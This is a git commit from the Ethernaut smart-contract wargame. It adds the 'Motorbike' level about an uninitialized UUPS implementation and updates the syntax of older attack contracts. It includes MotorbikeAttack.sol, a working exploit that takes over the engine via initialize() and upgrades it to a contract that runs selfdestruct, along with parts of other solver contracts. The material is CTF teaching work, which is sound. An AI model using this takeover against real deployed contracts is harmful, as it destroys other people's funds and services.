OpenZeppelin Hackathon - Motorbike (OpenZeppelin#278)

* Initial draft

* Add factory

* Level setup/description/etc

* Add SafeMath

* Add test scaffold

* Add proxy contract

* Add real multicall to test

* Use OZ Upgradeable contract

* Redefine admin variable
- Redefine admin address to follow the storage layout order and not a random slot
- Add a totalBalance variable to the PuzzleWallet contract

* Clean up proxy

* Style fixes

* Add bachi audit notes :P

* Add comment in proposeNewAdmin function

* Changing constructor to init to be used with proxy

* Initialize the proxy with the logic

* Adapted createInstance to deploy and initialize proxy and logic

* Modify function name

* Consistency in variable names

* Set a initial check if the player passed the game

* Draft version of the win procedure

* first commit

* Change params order in constructor

* Add upgradeTo function

* add more resources

* Add _maxBalance parameter to init function

* Changed order of params and new init

* Fix compile errors and tests

* Added initial version of pre and post history

* Added disclaimer for delegatecall

* Shrink functions

* Remove blankspace

* Minor change

* Update puzzle_wallet.md

* Update puzzle_wallet_complete.md

* Update puzzle_wallet.md

* Update client/src/gamedata/en/descriptions/levels/puzzle_wallet.md

Co-authored-by: Andres Bachfischer <[email protected]>

* Add adminship takeover

* Clean up of tests and factory

* Add error messages in tests

* Remove unused variable

* Remove unnecessary comment

* add authors

* restore rinkeby

* Change upgrade address

* Change line in puzzle_wallet.md

* Change validateInstance return var

* Add  semicolons in tests

* Remove eth restriction

* Pump the difficulty

* Change authors names

* Fix maxBalance check

* fix gamedata and level, adding jap files

* remove compilation warnings

* add jap

* fix gamedata

* change authors

* adjust difficulty

* deploy on rinkeby

Co-authored-by: Vicente Dragicevic <[email protected]>
Co-authored-by: Juan Bautista Carpanelli <[email protected]>
Co-authored-by: Andres Bachfischer <[email protected]>
Co-authored-by: Andres Bachfischer <[email protected]>

client/src/constants.js

@@ -63,7 +63,7 @@ export const CUSTOM_LOGGING = true                              /* TRUE on produ
 export const SHOW_ALL_COMPLETE_DESCRIPTIONS = false             /* FALSE on production */
 export const SHOW_VERSION = true                                /* TRUE on production */
 // export const ACTIVE_NETWORK = NETWORKS.ROPSTEN
-export const ACTIVE_NETWORK = NETWORKS.RINKEBY
-// export const ACTIVE_NETWORK = NETWORKS.LOCAL
+// export const ACTIVE_NETWORK = NETWORKS.RINKEBY
+export const ACTIVE_NETWORK = NETWORKS.LOCAL
 // -----------------------------------------------------------------------------------------
 // -----------------------------------------------------------------------------------------

client/src/gamedata/authors.json

@@ -48,6 +48,11 @@
       "email": "[email protected]",
       "website": "http://scottt.tw",
       "donate": "scottt.eth"
+    },
+    "openzeppelin": {
+      "name": "OpenZeppelin",
+      "email": "[email protected]",
+      "website": "https://openzeppelin.com"
     }
   }
 }

client/src/gamedata/deploy.rinkeby.json

@@ -24,5 +24,6 @@
   "22": "0x0b0276F85EF92432fBd6529E169D9dE4aD337b1F",
   "23": "0xd2BA82c4777a8d619144d32a2314ee620BC9E09c",
   "24": "0x440BCEA590A77445C24Ff623113978449351feB1",
+  "25": "0x78e23A3881e385465F19c1a03E2F9fFEBdAD6045",
   "ethernaut": "0xD991431D8b033ddCb84dAD257f4821E9d5b38C33"
 }

client/src/gamedata/en/descriptions/levels/motorbike.md

@@ -0,0 +1,9 @@
+Ethernaut's motorbike has a brand new upgradeable engine design.
+
+Would you be able to `selfdestruct` its engine and make the motorbike unusable ?
+
+Things that might help:
+
+- [EIP-1967](https://eips.ethereum.org/EIPS/eip-1967)
+- [UUPS](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) upgradeable pattern
+- [Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) contract

client/src/gamedata/en/descriptions/levels/motorbike_complete.md

@@ -0,0 +1,9 @@
+The advantage of following an UUPS pattern is to have very minimal proxy to be deployed. The proxy acts as storage layer so any state modification in the implementation contract normally doesn't produce side effects to systems using it, since only the logic is used through delegatecalls.
+
+This doesn't mean that you shouldn't watch out for vulnerabilities that can be exploited if we leave an implementation contract uninitialized.
+
+This was a slightly simplified version of what has really been discovered after months of the release of UUPS pattern. 
+
+Takeways: never leaves implementation contracts uninitialized ;) 
+
+If you're interested in what happened, read more [here](https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680).

client/src/gamedata/es/descriptions/levels/motorbike.md

@@ -0,0 +1,9 @@
+Ethernaut's motorbike has a brand new upgradeable engine design.
+
+Would you be able to `selfdestruct` its engine and make the motorbike unusable ?
+
+Things that might help:
+
+- [EIP-1967](https://eips.ethereum.org/EIPS/eip-1967)
+- [UUPS](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) upgradeable pattern
+- [Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) contract

client/src/gamedata/es/descriptions/levels/motorbike_complete.md

@@ -0,0 +1,9 @@
+The advantage of following an UUPS pattern is to have very minimal proxy to be deployed. The proxy acts as storage layer so any state modification in the implementation contract normally doesn't produce side effects to systems using it, since only the logic is used through delegatecalls.
+
+This doesn't mean that you shouldn't watch out for vulnerabilities that can be exploited if we leave an implementation contract uninitialized.
+
+This was a slightly simplified version of what has really been discovered after months of the release of UUPS pattern. 
+
+Takeways: never leaves implementation contracts uninitialized ;) 
+
+If you're interested in what happened, read more [here](https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680).

client/src/gamedata/gamedata.json

@@ -373,7 +373,22 @@
       "deployFunds": 1,
       "deployId": "24",
       "instanceGas": 3600000,
-      "author": "andresbach, jcarpanelli, vdrg"
+      "author": "openzeppelin"
+    },
+    {
+      "name": "Motorbike",
+      "created": "2021-10-7",
+      "difficulty": "6",
+      "description": "motorbike.md",
+      "completedDescription": "motorbike_complete.md",
+      "levelContract": "MotorbikeFactory.sol",
+      "instanceContract": "Motorbike.sol",
+      "revealCode": true,
+      "deployParams": [],
+      "deployFunds": 0,
+      "deployId": "25",
+      "instanceGas": 5000000,
+      "author": "openzeppelin"
     }
   ]
 }

client/src/gamedata/ja/descriptions/levels/motorbike.md

@@ -0,0 +1,9 @@
+Ethernaut's motorbike has a brand new upgradeable engine design.
+
+Would you be able to `selfdestruct` its engine and make the motorbike unusable ?
+
+Things that might help:
+
+- [EIP-1967](https://eips.ethereum.org/EIPS/eip-1967)
+- [UUPS](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) upgradeable pattern
+- [Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) contract

client/src/gamedata/ja/descriptions/levels/motorbike_complete.md

@@ -0,0 +1,9 @@
+The advantage of following an UUPS pattern is to have very minimal proxy to be deployed. The proxy acts as storage layer so any state modification in the implementation contract normally doesn't produce side effects to systems using it, since only the logic is used through delegatecalls.
+
+This doesn't mean that you shouldn't watch out for vulnerabilities that can be exploited if we leave an implementation contract uninitialized.
+
+This was a slightly simplified version of what has really been discovered after months of the release of UUPS pattern. 
+
+Takeways: never leaves implementation contracts uninitialized ;) 
+
+If you're interested in what happened, read more [here](https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680).

contracts/contracts/Ethernaut.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import './levels/base/Level.sol';
@@ -37,7 +39,7 @@ contract Ethernaut is Ownable {
     require(registeredLevels[address(_level)]);
 
     // Get level factory to create an instance.
-    address instance = _level.createInstance.value(msg.value)(msg.sender);
+    address instance = _level.createInstance{value:msg.value}(msg.sender);
 
     // Store emitted instance relationship with player and level.
     emittedInstances[instance] = EmittedInstanceData(msg.sender, _level, false);

contracts/contracts/attacks/CoinFlipAttack.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import '../levels/CoinFlip.sol';

contracts/contracts/attacks/DenialAttack.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 contract DenialAttack {

contracts/contracts/attacks/ElevatorAttack.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import '../levels/Elevator.sol';

contracts/contracts/attacks/ForceAttack.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 contract ForceAttack {

contracts/contracts/attacks/GatekeeperOneAttack.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 contract GatekeeperOneAttack {
@@ -15,11 +17,7 @@ contract GatekeeperOneAttack {
 
     // gas offset usually comes in around 210, give a buffer of 60 on each side
     for (uint256 i = 0; i < 120; i++) {
-      (bool result, ) = address(GatekeeperOneContractAddress).call.gas(
-          i + 150 + 8191 * 3
-        )(
-          encodedParams
-        );
+      (bool result, ) = address(GatekeeperOneContractAddress).call{gas: i + 150 + 8191 * 3}(encodedParams);
       if(result)
         {
         break;

contracts/contracts/attacks/GatekeeperTwoAttack.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 interface GatekeeperTwoInterface {
@@ -11,6 +13,6 @@ contract GatekeeperTwoAttack {
   constructor(address GatekeeperTwoContractAddress) public {
     gatekeeper = GatekeeperTwoInterface(GatekeeperTwoContractAddress);
     bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(-1));
-    gatekeeper.enter.gas(50000)(key);
+    gatekeeper.enter{gas:50000}(key);
   }
 }

contracts/contracts/attacks/KingAttack.sol

@@ -1,10 +1,11 @@
-pragma solidity ^0.6.0;
+// SPDX-License-Identifier: MIT
 
+pragma solidity ^0.6.0;
 
 contract KingAttack {
 
   function doYourThing(address _target) public payable {
-    (bool result,) = _target.call.value(msg.value)("");
+    (bool result,) = _target.call{value:msg.value}("");
     if(!result) revert();
   }
 

contracts/contracts/attacks/MagicNumBadSolver.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 contract MagicNumBadSolver {

contracts/contracts/attacks/MagicNumSolver.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 contract MagicNumSolver {

contracts/contracts/attacks/Manufactured.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import '@openzeppelin/contracts/access/Ownable.sol';

contracts/contracts/attacks/MotorbikeAttack.sol

@@ -0,0 +1,47 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity <0.7.0;
+
+import "@openzeppelin/contracts/utils/Address.sol";
+
+contract MotorbikeAttack {
+
+    // Address of current implementation (The Engine)
+    address public implementation;
+    event Check(bool result);
+
+    constructor(address impl) public {
+        implementation = impl;
+    }
+
+    function takeControl() external returns(bytes memory) {
+        // take control over the Engine
+        Address.functionCall(implementation, abi.encodeWithSignature("initialize()"));
+    }
+
+    function destroy() external {
+        // Upgrade the engine to a contract that selfdestruct once initialized
+        Exploit exploit = new Exploit();
+
+        Address.functionCall(
+           implementation, 
+           abi.encodeWithSignature(
+            "upgradeToAndCall(address,bytes)",
+            address(exploit),
+            abi.encodeWithSignature("initialize()")
+           )
+        );
+    }
+
+    function validateItIsBroken() external {
+        emit Check(Address.isContract(implementation));
+    }
+
+}
+
+contract Exploit {
+
+    function initialize() external {
+        selfdestruct(msg.sender);
+    }
+}

contracts/contracts/attacks/NaughtCoinAttack.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import '../levels/NaughtCoin.sol';

contracts/contracts/attacks/PreservationAttack.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 contract PreservationAttack {

contracts/contracts/attacks/ReentranceAttack.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import '../levels/Reentrance.sol';
@@ -11,7 +13,7 @@ contract ReentranceAttack {
   }
 
   function attack_1_causeOverflow() public {
-    target.donate.value(1)(address(this));
+    target.donate{value:1}(address(this));
     target.withdraw(1);
   }
 

contracts/contracts/attacks/ShopAttack.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import '../levels/Shop.sol';

contracts/contracts/attacks/TelephoneAttack.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import '../levels/Telephone.sol';

contracts/contracts/attacks/VaultAttack.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import '../levels/Vault.sol';

contracts/contracts/levels/AlienCodexFactory.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.5.0;
 
 import './base/Level-05.sol';

contracts/contracts/levels/CoinFlipFactory.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import './base/Level.sol';

contracts/contracts/levels/DelegationFactory.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import './base/Level.sol';

contracts/contracts/levels/Denial.sol

@@ -20,7 +20,7 @@ contract Denial {
         uint amountToSend = address(this).balance.div(100);
         // perform a call without checking return
         // The recipient can revert, the owner will still get their share
-        partner.call.value(amountToSend)("");
+        partner.call{value:amountToSend}("");
         owner.transfer(amountToSend);
         // keep track of last withdrawal time
         timeLastWithdrawn = now;

contracts/contracts/levels/DenialFactory.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import './base/Level.sol';
@@ -11,7 +13,7 @@ contract DenialFactory is Level {
     _player;
     require(msg.value >= initialDeposit);
     Denial instance = new Denial();
-    (bool result,) = address(instance).call.value(msg.value)("");
+    (bool result,) = address(instance).call{value:msg.value}("");
     require(result);
     return address(instance);
   }
@@ -23,7 +25,7 @@ contract DenialFactory is Level {
         return false;
     }
     // fix the gas limit for this call
-    (bool result,) = address(instance).call.gas(1000000)(abi.encodeWithSignature("withdraw()")); // Must revert
+    (bool result,) = address(instance).call{gas:1000000}(abi.encodeWithSignature("withdraw()")); // Must revert
     return !result;
   }
 

contracts/contracts/levels/DexFactory.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import './base/Level.sol';

contracts/contracts/levels/DexTwoFactory.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import './base/Level.sol';

contracts/contracts/levels/ElevatorFactory.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import './base/Level.sol';

contracts/contracts/levels/FallbackFactory.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import './base/Level.sol';

contracts/contracts/levels/FalloutFactory.sol

@@ -1,3 +1,5 @@
+// SPDX-License-Identifier: MIT
+
 pragma solidity ^0.6.0;
 
 import './base/Level.sol';